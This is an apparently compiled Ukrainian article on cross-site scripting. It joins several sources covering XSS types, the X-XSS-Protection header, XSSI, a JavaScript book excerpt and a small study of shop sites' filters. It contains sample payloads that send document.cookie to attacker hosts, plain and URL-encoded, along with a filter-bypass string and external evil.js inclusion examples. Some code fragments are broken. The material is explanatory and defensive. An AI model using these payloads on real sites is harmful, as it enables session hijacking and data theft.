Пасивний xss. Що являє собою XSS-уразливість. Особливості XSS заснованих на DOM

Що таке XSS-уразливість? Чи варто її побоюватися?

Міжсайтовий скриптинг (скорочено XSS) - широко поширена вразливість, що стосується багатьох веб-додатків. Вона дозволяє зловмиснику впровадити шкідливий код у веб-сайт таким чином, що браузер користувача, який зайшов на сайт, виконає цей код.

Зазвичай для експлуатації подібної вразливості потрібна певна взаємодія з користувачем: або його заманюють на заражений сайт за допомогою соціальної інженерії, або чекають, поки той сам відвідає даний сайт. Тому розробники часто не сприймають всерйоз XSS-уразливості. Але якщо їх не усувати, це може нести серйозну загрозу безпеці.

Уявимо, що ми знаходимося на панелі адміністратора WordPress, додаємо новий контент. Якщо ми використовуємо для цього вразливу до XSS плагін, він може змусити браузер створити нового адміністратора, видозмінити контент та виконати інші шкідливі дії.

Міжсайтовий скриптинг надає зловмиснику практично повний контроль над найважливішим програмним забезпеченням у наші дні – браузером.

Будь-який веб-сайт або програма має кілька місць введення даних - полів форми до самого URL. Найпростіший приклад даних - коли ми вписуємо ім'я користувача і пароль у форму:

Малюнок 1. Форма введення даних

Наше ім'я зберігатиметься в базі даних сайту для подальшої взаємодії з нами. Напевно, коли ви проходили авторизацію на якомусь сайті, ви бачили персональне привітання у стилі «Ласкаво просимо, Ілля». Саме для таких цілей імена користувачів зберігаються у базі даних.

Ін'єкцією називається процедура, коли замість імені чи пароля вводиться спеціальна послідовність символів, що змушує сервер чи браузер відреагувати певним, потрібним зловмиснику.

Міжсайтовим скриптингом називається ін'єкція, що впроваджує код, який виконуватиме дії у браузері від імені веб-сайту. Це може відбуватися як з повідомленням користувача, так і у фоновому режимі без його відома.

Малюнок 2. Наочна схема міжсайтового скриптингу

Як найпростіший приклад можна навести елементарний скрипт, який показує вікно з повідомленням. Виглядає він приблизно так:

Таблиця 1. Скрипт, що викликає спливаюче вікно

alert(" ЦЕ XSS- ВРАЗНІСТЬ !!!")

Цей скрипт викликає вікно з написом «ЦЕ XSS-УРАЗНІСТЬ!». Браузер користувача сприймає та виконує цей скрипт як частину легітимного коду сайту.

Не всі вразливості XSS однакові, їх є безліч типів. Тут перераховані типи та способи їх взаємодії:

Рисунок 3. Типи XSS-уразливостей

Вразливості, спричинені кодом на стороні сервера (Java, PHP, .NET тощо):

Традиційні XSS-атаки:

Вразливості, спричинені кодом на стороні клієнта (JavaScript, Visual Basic, Flash тощо):

Також відомі як DOM-моделі:

Вразливості, спричинені інфраструктурою (браузер, плагіни, сервери тощо):

Трапляються дуже рідко, але є більш небезпечними:

Вразливості, спричинені користувачем:

Як захистити свій сайт від XSS? Як перевірити код на наявність уразливості? Існують технології типу Sucuri Firewall, спеціально розроблені для того, щоб уникнути подібних атак. Але якщо ви розробник, ви, безумовно, захочете дізнатися докладніше, як ідентифікувати та усунути XSS-уразливості. Про це ми поговоримо у наступній частині статті, присвяченій XSS.

Використання заголовків безпеки є важливою ланкою захисту сайту та його відвідувачів від хакерських атак. Минулої статті про з рубрики захисту та безпеки я обіцяв регулярно публікувати записи на цю тему. Сьогодні я розповім про захист від атак XSS.

Міжсайтовий скриптинг (Cross Site Scripting) - це вразливість, яка дозволяє зловмиснику впровадити шкідливий код (зазвичай HTML або JavaScript) у вмісті сайту. Шкідливий код виконується у браузері користувача, який переглядає заражену сторінку сайту.

Зловмисники можуть експлуатувати різні вразливості. Найбільшого поширення набули два типи атаки:

• Відбита (Reflected XSS) – найпоширеніший непостійний тип атаки, що вимагає виконання певної дії з боку користувача.
• Зберігаючи (Persistent XSS) - постійний тип атаки з використанням шкідливого коду на сервер, не вимагає втручання користувача.

Спрацьовує при переході користувача за спеціально підготовленим посиланням, яке надсилає запит на сайт із вразливістю. Ця вразливість зазвичай є результатом недостатньої фільтрації вхідних запитів, що дозволяє маніпулювати функціями та активувати шкідливі скрипти.

Для успішного виконання атаки, що зберігається, зловмиснику достатньо знайти вразливість на сайті і розмістити на своєму сервері шкідливий скрипт. Потім на сайті розміщується тег , який завантажує скрипт із зовнішнього сайту, наприклад, у коментарях. При завантаженні зараженої сторінки шкідливий скрипт щоразу передається до браузера користувача.

Заголовок X-XSS-Protection призначений для увімкнення фільтра міжсайтового скриптингу, вбудованого у всіх сучасних браузерах. Він дозволить, наприклад, запобігти виконанню тега в URL сторінки.

Директива report для надсилання звітів діє аналогічно директиві report-uri (або report-to) Content Security Policy (CSP), вказуючи браузеру користувача повідомляти про спроби порушення політики безпеки контенту. Про це я розповім у окремій статті.

Звіт про порушення формується у форматі JSON і надсилається запитами POST за вказаною адресою URL.

Повертаючись до основної теми, рекомендую налаштувати сервер таким чином, щоб заголовок HTTP включав фільтрацію і при XSS-атаці блокував завантаження сторінки з небезпечним вмістом. У файлі додаткової конфігурації.htaccess (або httpd.conf, якщо у вас є повний доступ до сервера) веб-сервера Apache необхідно додати наступний запис:

Для сервера Nginx доповніть файл nginx.conf у розділі HTTP записом:

Add_header X-XSS-Protection "1; mode=block" ;

Якщо доступ до конфігураційних файлів сервера відсутній, але є підтримка PHP, тоді використовуйте функцію:

Cross Site Scripting, також відомий як XSS, - це один із способів впровадження шкідливого коду, який виконується на стороні клієнта. Користувач може помітити щось негаразд, наприклад, незвичайна поведінка сторінки, іноді атака відбувається абсолютно непомітно у фоновому режимі.

Сподіваюся, тепер ви стали трохи більше розуміти в заголовках HTTP сервера і X-XSS допоможе запобігти міжсайтовому скриптингу. Я використовую заголовки безпеки на всіх своїх сайтах і рекомендую вам зробити те саме. Разом ми можемо зробити інтернет безпечнішим! 😉

Про можливість отримання різної інформації зі сторонніх сайтів за допомогою простої атаки - Cross Site Scripting Inclusion (XSSI).

Якщо ти читаєш Easy Hack систематично, то, напевно, вже добре знайомий із Same Origin Policy (SOP), ми до нього часто повертаємось. Через SOP можливість взаємодії між двома сайтами дуже обмежена. Але так як завдання отримання та оправлення інформації на одному сайті з іншого виникає часто, то були впроваджені різні методи «пом'якшення» політики та організації взаємодії. Наприклад, такі як CORS або crossdomain.xml. Один з найстаріших методів - підвантаження JavaScript з іншого домену через тег. SOP нас тут нічим не обмежує: можна вказати практично довільне розташування.

Наприклад, є хост атакуючого evil.ru та сайт жертви – victim.com. На evil.ru ми можемо покласти HTML файл і послатися на будь-який скрипт у жертви:

При вході користувача на сайт атакуючого браузер підвантажить та запустить JS із victim.com, але в контексті SOP evil.ru. Це означає, що з JS атакуючого ми зможемо отримати доступ до даних (не всім) JS з сервера жертви.

Наприклад, вміст JS c сайту-жертви (http://victim.com/any_script_.js):

Var a = "12345";

Тоді на сайті атакуючого ми можемо отримати значення змінної:

console.log(a);

Ідея роботи проста, як алюмінієвий чайник.

По суті можливість підвантажувати з інших сайтів статичний JS несе в собі не більше проблем для сайту-жертви, ніж навантаження картинки.

Проблеми можуть виникнути, коли JS формується динамічно, тобто коли контент JS-скрипта змінюється на підставі даних cookie залежно від того, який користувач до нього звертається. Наприклад, у JS зберігається якась «критична» інформація: персональні відомості (email, ім'я користувача на сайті-жертві) або технічна інформація (анти CSRF-токени).

Але, як ми знаємо, під час завантаження скрипта через тег браузер користувача автоматично відправляє cookie користувача. Склавши ці факти, ми отримуємо можливість отримувати інформацію про будь-якого користувача, який зайшов на сайт атакуючого та при цьому залогінений на сайті-жертві.

Що ми можемо дізнатися? Глобальні змінні та результати роботи глобальних функцій. На жаль, доступу до внутрішніх змінних/функцій нам не отримати (хоча, можливо, хтось знайде спосіб зробити це).

Function test()( return "private data frm function"; )

Така атака виглядає можливою, але здається, що вона дуже проста і не повинна бути поширеною. Цим цікава презентація на Black Hat. Дослідники проаналізували 150 популярних сайтів і виявили, що тією чи іншою мірою вразлива третина з них. Така статистика змушує поглянути на проблему трохи уважніше.

Було виявлено ще одна закономірність. Content Security Policy стає все більш поширеною. Як ти знаєш, з нею ми можемо вказати, з яких доменів може бути завантажений той чи інший ресурс. Наприклад, можна сказати виконувати JS тільки з того самого ресурсу. Крім того, найкращі практики налаштування CSP мають на увазі заборону на запуск inline JS (тобто коду, який знаходиться прямо в HTML, а не завантажений з JS-файлу).

Однак перенесення inline у ​​файли може бути зроблено з милицями і нашвидкуруч - тобто за допомогою скриптів, що динамічно генеруються. Так як CSP ніяк не впливає на XSSI, ми знову можемо проводити наші атаки. Ось така ось bad practice.

Cross-Site Scripting або XSS. Міжсайтовий скриптинг (міжсайтове виконання сценаріїв).

Наявність вразливості Cross-site Scripting дозволяє атакуючому передати серверу код, що виконується, який буде перенаправлений браузеру користувача. Цей код зазвичай створюється на мовах HTML/JavaScript, але можуть бути використані VBScript, ActiveX, Java, Flash, або інші технології, що підтримуються браузером.

Надісланий код виконується в контексті безпеки (або зоні безпеки) вразливого сервера. Використовуючи ці привілеї, код отримує можливість читати, модифікувати чи передавати важливі дані, доступні за допомогою браузера. У атакованого користувача може бути скомпрометований аккакунт (крадіжка cookie), його браузер може бути перенаправлений на інший сервер або здійснено заміну вмісту сервера. В результаті ретельно спланованої атаки зловмисник може використовувати браузер жертви для перегляду сторінок сайту від імені користувача. Код може передаватися зловмисником в URL, в заголовках Методи та структура протоколу HTTP запиту (Cookie, user-agent, refferer), значення полів форм і т.д.

Існує три типи атак, що призводять до міжсайтового виконання сценаріїв: non-persistent непостійні (відбиті), persistent постійні (збережені) та засновані на DOM . Основною відмінністю між persistent і non-persistent є те, що у відображеному варіанті передача коду серверу і повернення його клієнту здійснюється в рамках одного HTTP-запиту, а в збереженому - у різних.

Здійснення непостійної атаки вимагає, щоб користувач перейшов за посиланням, сформованим зловмисником (посилання може бути передано по email, ICQ тощо). У процесі завантаження сайту код, впроваджений в URL або заголовки запиту, буде переданий клієнту і виконаний у його браузері.

Збережений різновид уразливості виникає, коли код передається серверу і зберігається на ньому на деякий проміжок часу. Найбільш популярними цілями атак у цьому випадку є форуми, пошта з Web-інтерфейсом та чати. Для атаки користувачу не обов'язково переходити на посилання, достатньо відвідати вразливий сайт.

приклад. Збережений (persistent) варіант атаки. Багато сайтів мають дошки оголошень та форуми, які дозволяють користувачам залишати повідомлення. Зареєстрований користувач зазвичай ідентифікується за номером

сесії, що зберігається в cookie. Якщо атакуючий залишить повідомлення, що містить код JavaScript, він отримає доступ до ідентифікатора сесії користувача. Приклад коду передачі cookie:

document.location= "http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie

приклад. Відбитий (non-persistent) варіант атаки. Багато серверів надають користувачам можливість пошуку вмісту сервера. Як правило, запит передається до URL і міститься в результуючій сторінці.

Наприклад, при переході по URL http://portal.example/search?q= ”fresh beer” користувачеві буде відображено сторінку, яка містить результати пошуку та фразу: "За вашим запитом fresh beer знайдено 0 сторінок". Якщо в якості шуканої фрази буде передано Javascript, він виконається у браузері користувача. Приклад:

Http://portal.example/search/?q=alert("xss")

Для приховування коду сценарію може бути використане кодування URLEncode

Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Витяг з книги Фленаган Девід JavaScript Повне керівництво 5 видання.

Термін міжсайтовий скриптинг (cross"site scripting), або XSS, відноситься до області комп'ютерної вразливості, коли атакуючий впроваджує HTML теги або сценарії в документи на вразливому вебсайті. Організація захисту від XSS атак - звичайна справа для веб-розробників, які займаються створенням серверних сценаріїв. Однак програмісти , що розробляють клієнтські JavaScript сценарії, також повинні знати про атаки XSS і вживати заходів захисту від них.

Веб сторінка вважається вразливою для XSS атак, якщо вона динамічно створює вміст документа на основі даних, що не пройшли попередню обробку з видалення вбудованого HTML коду. Як тривіальний приклад розглянемо наступну веб-сторінку, яка використовує JavaScript сценарій, щоб вітати користувача на ім'я:

var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привіт" + name);

У другому рядку сценарію викликається метод window.location.search.substring, за допомогою якого витягується частина адресного рядка, що починається з символу? Потім за допомогою методу document.write() додається динамічно згенерований вміст документа. Цей сценарій передбачає, що звернення до веб-сторінки буде здійснюватися за допомогою приблизно такої URL-адреси:

Http://www.example.com/greet.html?name=Давид

У цьому випадку буде виведено текст "Привіт Давид". Але що станеться, якщо сторінку буде запрошено з використанням наступної URL-адреси:

http://www.example.com/greet.html?name=%3Cscript%3Ealert("Давид")%3C/script%3E

З таким вмістом URL-адреси сценарій динамічно згенерує інший сценарій (коди %3C і %3E – це кутові дужки)! В даному випадку вставлений сценарій просто відобразить діалогове вікно, яке не становить жодної небезпеки. Але уявіть собі такий випадок:

http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

Міжсайтовий скриптинг тому так і називається, що в атаці бере участь більше одного сайту. Сайт B (або навіть сайт C) включає спеціально сконструйоване посилання (подібне до тільки що показаного) на сайт A, в якому міститься сценарій із сайту B. Сценарій evil.js розміщується на сайті зловмисника B, але тепер цей сценарій виявляється впровадженим у сайт A і може робити все, що заманеться з вмістом сайту A. Він може стерти сторінку або викликати інші порушення в роботі сайту (наприклад, відмовити в обслуговуванні, про що розповідається в наступному розділі). Це може негативно вплинути на відвідувачів сайту A. Набагато небезпечніше, що такий зловмисний сценарій може прочитати вміст cookies, що зберігаються на сайті A (можливо містять облікові номери або інші персональні відомості), і надіслати ці дані назад на сайт B. Впроваджений сценарій може навіть відстежувати натискання клавіш та надсилати ці дані на сайт B.

Універсальний спосіб запобігання XSSатак полягає у видаленні HTML тегів з усіх даних сумнівного походження, перш ніж використовувати їх для динамічного створення вмісту документа. Щоб виправити цю проблему у показаному раніше файлі greet.html, потрібно додати наступний рядок до сценарію, який покликаний видаляти кутові дужки, що оточують тег:

Name = name.replace(//g, ">");

Міжсайтовий скриптинг є вразливістю, що глибоко сягає корінням в архітектуру Всесвітньої павутини. Необхідно усвідомлювати всю глибину цієї вразливості.

Існує два напрямки атак:

Пасивні – які потребують безпосереднього втручання суб'єкта атаки. Суть полягає в тому, щоб змусити жертву перейти по шкідливому засланню для виконання «шкідливого коду». Такий тип атак складніший у реалізації, адже необхідно мати не тільки технічне, а й психологічне знання.

Активні – це вид атак, коли хакер намагається знайти вразливість у фільтрі сайту. Як же реалізується така атака? Все дуже просто. Потрібно за допомогою комбінації тегів та символів створити такий запит, щоб сайт його зрозумів та виконав команду. Як тільки дірку в безпеці знайдено, в наш запит можна вкласти «шкідник», який, наприклад, крастиме cookie і пересилатиме у зручне нам місце. Наведемо приклад скрипта, що краде “печінки” із сайту:

Img = new image() Img.src = http://site.gif?+document.cookie;
Зазвичай доводиться серйозно попрацювати, щоб знайти дірку в безпеці сайту, адже більшість фільтрів є досить стійкими. Але їх пишуть люди, а їм властиво помилятися.

Як застосовується атака, ми вже розповідали, але повторимося ще раз. Вся суть xss атаки – це виявлення дірки у фільтрі з метою його обходу.

1. Одне з найперших і основних правил для розробника – це застосування будь-якого (хоча б найменшого) фільтра.

У проведеному нами дослідженні сайтів майже всі вони були захищені, але знаходилися й ті, які не використовували ніякої фільтрації одержуваних даних. В основному це зустрічається на сайтах, написаних мовою PHP. Але, наприклад, у фраємворках python, таких як: flask або Django вже є вбудовані мінімальні фільтри, їх залишається лише посилити.

2. Фільтрування символів та вкладених конструкцій.

Мінімальний фільтр захистить нас від аматорських атак і неписьменних фахівців, але від серйозних хакерів потрібно будувати серйозніший захист, з більш детальною фільтрацією даних. Розробники повинні враховувати та розуміти можливу реалізацію xss атаки та будувати фільтр таким чином, щоб він розпізнавав вкладені конструкції. Наприклад, хакер може створити багаторівневу конструкцію, і в найнижчий з них вкласти шкідливий javascript код. Фільтр блокуватиме верхній рівень, але нижній виконуватиметься.

3. Фільтр повинен враховувати всілякі комбінації символів.

Однією з наших улюблених перевірок на xss уразливість є використання відкритих та закритих дужок.
Наприклад: “/?,#”>>>>http://blabla.ru/1.jpg/dynsrc=javascript:alert()
5. Шифрування.

При побудові фільтра необхідно насамперед враховувати можливість кодування атак. Існує безліч програм кодувальників, які зашифрують атаку так, що фільтр не зможе розпізнати її. Тому потрібно обов'язково використовувати алгоритм розшифрування у фільтрі до того, як програма виконуватиме код запиту.

Ось приклад зашифрованого коду:

%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E %3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63 %72%69%70%74%3E
Шифрування необхідне як обходу фільтра, але й соціальної інженерії, обману людей. Можна надіслати зашифрований код як посилання. Навряд чи хтось перевірятиме її, звідси випливає ще один пункт.

6. Соціальна інженерія

Мало написати стійкий до атак фільтр, необхідно періодично проводити лекції зі співробітниками про правила користування інтернетом і розповідати про можливі прийоми хакерів.

Пара основних правил: ніколи не відкривайте підозрілі посилання та перевіряйте зашифровані, особливо якщо ви адмін хостингу чи мережі.

Дослідження сайтів на xss уразливості з використанням javascript.

Наскільки серйозно ставляться розробники безпеки своїх веб-додатків? Наша команда вирішила це перевірити. В рамках нашого дослідження ми вивчили близько 500 сайтів на помилки у безпеці. Було витрачено багато часу на збирання, обробку та структурування інформації. Всі перевірки проводилися вручну, тому що потрібного інструменту ми не знайшли, а на написання власного програмного забезпечення не вистачало часу та знань. Але вже маючи досвід наступного разу ми займемося саме цим.

Об'єктами досліджень були сайти інтернет-магазинів. Ми вибрали саме їх, тому що на таких сайтах існує можливість зворотного зв'язку. Через неї, за допомогою методів соціальної інженерії, можна впровадити посилання зі шкідливим кодом оператору сайту та скомпрометувати не тільки витік персональних даних, але й зміну оболонки сайту, нелегальне впровадження власної реклами через javascript елементи та заміну справжніх посилань на шкідливі.

Варто згадати, що ми займалися лише перевіркою фільтрів, це не порушує законодавства (272-274 КК) Російської Федерації та не несе жодного покарання.

В результаті дослідження ми отримали дуже непогану статистику. Зовсім малий відсоток сайтів, приблизно 5% не має фільтра, що є докорінно неправильно побудованою системою. Але на практиці виявилося, що всі ці веб-сайти були розроблені студентами. За замовчуванням сайти без фільтра вважаються автоматично зламаними, оскільки вони не екранують заборонені символи і на них можна заливати "шкоду" через javascript. Інші сайти мають фільтри, але що можна сказати про їхню надійність?

Близько 11% ми змогли обійти, маючи лише середні знання у цій галузі. Це є величезним недоліком з боку розробників, який може завдати проекту багато шкоди, адже під удар потрапляють персональні дані користувачів. За законом (стаття 13.11 КпАП частина 6) усі сайти повинні забезпечувати збереження персональних даних при зберіганні матеріальних носіїв та унеможливлювати несанкціонований до них доступ. Якщо це спричинило неправомірний доступом до персональним даним (знищення, зміна, копіювання, блокування тощо.) - слід накладення штрафу у вигляді від 700 рублів до 50 000 рублів.

Більшість сайтів добре захищена від атак, що не може не тішити нас як користувачів. Результат дослідження наочно продемонстрований у діаграмі, наведеній нижче.

Ви можете допомогти і переказати трохи коштів на розвиток сайту